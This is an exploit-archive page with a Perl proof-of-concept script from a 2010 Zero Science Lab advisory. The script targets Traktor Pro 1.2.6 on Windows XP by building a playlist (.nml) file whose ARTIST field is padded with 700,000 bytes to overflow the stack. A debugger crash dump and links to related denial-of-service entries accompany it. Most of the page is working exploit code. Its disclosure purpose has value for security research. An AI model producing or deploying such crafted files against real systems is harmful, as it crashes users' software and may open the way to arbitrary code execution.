发布 2010-11-20 漏洞条目

Native Instruments Traktor Pro 1.2.6 – Stack Buffer Overflow (PoC)

Exploit Source

#!/usr/local/bin/perl

# Native Instruments Traktor Pro 1.2.6 Stack-based Buffer Overflow Vulnerability

# Vendor: Native Instruments GmbH

# Product web page: http://www.native-instruments.com

# Affected version: 1.2.6.8491 (Standalone)

# Summary: TRAKTOR PRO is the new benchmark in DJ software. Mix digital files

# on four decks, using the high-quality internal mixer or external hardware,

# and the best effects suite around. Fully primed for professional use, TRAKTOR

# PRO redefines the art of DJing.

# Desc: Traktor Pro suffers from a stack buffer overflow vulnerability when

# parsing playlist files (.nml) resulting in a crash. The user input is not

# properly sanitized which may give the attackers the possibility for an

# arbitrary code execution on the affected system. Failure of exploitation

# may result in a denial of service.

# Tested on: Microsoft Windows XP Professional SP3 (English)

# -------------------------------------------------------------------

# (4418.4608): Stack overflow - code c00000fd (first/second chance not available)

# eax=14250000 ebx=001cc168 ecx=00000007 edx=7c90e514 esi=001cc140 edi=001cc198

# eip=7c90e514 esp=0ff5e4e4 ebp=0ff5e4f4 iopl=0 nv up ei pl zr na pe nc

# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

# *** ERROR: Symbol file could not be found. Defaulted to export symbols for ntdll.dll -

# ntdll!KiFastSystemCallRet:

# 7c90e514 c3 ret

# -------------------------------------------------------------------

# Vulnerability discovered by: Gjoko 'LiquidWorm' Krstic

# liquidworm gmail com

# Zero Science Lab - http://www.zeroscience.mk

# Advisory ID: ZSL-2010-4977

# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4977.php

# 09.11.2010

use strict;

print qq{

-------------------------------------------------------------------------

| |

| Native Instruments Traktor 1.2.6 Stack Overflow PoC |

| |

-------------------------------------------------------------------------

};

my $bof = "\x41" x 700000;

my $start = '<?xml version="1.0" encoding="UTF-8" standalone="no" ?>

<CUE_V2 NAME="AutoGrid" DISPL_ORDER="0" TYPE="4" START="671.08913429252357" LEN="0" REPEATS="-1" HOTCUE="0"></CUE_V2>

<CUE_V2 NAME="n.n." DISPL_ORDER="0" TYPE="5" START="66299.022459106593" LEN="1901.7395166612771" REPEATS="-1" HOTCUE="1"></CUE_V2>

</ENTRY>

<ENTRY MODIFIED_DATE="2008/9/9" MODIFIED_TIME="56472" AUDIO_ID="AE0AAAbzv4bJPNhuR+po5a51uDzHXUbaeMKuhYdnVl+H3Inln6bba9hvhtt55o62yWvpbnjreseflslr2G5n+4rWnobaa9duZ/tpxZ+12WzIf3fq37Wepuhs2X1n22vGnpXXa7d+Z/t71q2m+my3fWj6a8autth+6I536mu3rYXXfciPaPptxnRk+K63jWr7bbjeluietp1r+Vy3zqbmnsmve/ltp92m14/HnHvabbjehueep6x762yY7Zf4lVWcbOpup9yWx6+3z3vpXJjbh9evprx82W6o3If3r6a7fPpdiOyI6K+lzHzZXYfth+avptyIZ01BAAAAAAAAAAAAAA==" TITLE="Demo 2" ';

my $traktor = "ARTIST=\"$bof\">";

my $end = '<LOCATION DIR="/:" FILE="Demo 2.mp3" VOLUME=""></LOCATION>

<CUE_V2 NAME="AutoGrid" DISPL_ORDER="0" TYPE="4" START="797.66281512605042" LEN="0" REPEATS="-1" HOTCUE="2"></CUE_V2>

<CUE_V2 NAME="Beginning" DISPL_ORDER="0" TYPE="0" START="797.66281512605042" LEN="0" REPEATS="-1" HOTCUE="0"></CUE_V2>

<CUE_V2 NAME="Loop1" DISPL_ORDER="0" TYPE="5" START="41133.797268907569" LEN="2016.8067226890755" REPEATS="-1" HOTCUE="1"></CUE_V2>

</ENTRY>

</COLLECTION>

</ENTRY>

</ENTRY>

</PLAYLIST>

</NODE>

</NODE>

</NODE>

</SUBNODES>

</NODE>

</PLAYLISTS>

</NML>';

my $file = "PoC.nml";

print "\n\n[*] Creating $file playlist file...\n";

open nml, ">./$file" || die "\nCan't open $file: $!";

print nml $start.$traktor.$end;

print "\n[.] File successfully buffered!\n\n";

close nml;

作者: LiquidWorm
日期: 2010-11-20
类别: dos
平台: windows

相关漏洞条目

strongSwan 5.9.13 – DoS

Xlight FTP 1.1 – Denial Of Service (DOS)

Windows TCP/IP – RCE Checker and Denial of Service

RouterOS 6.40.5 – 6.44 and 6.48.1 – 6.49.10 – Denial of Service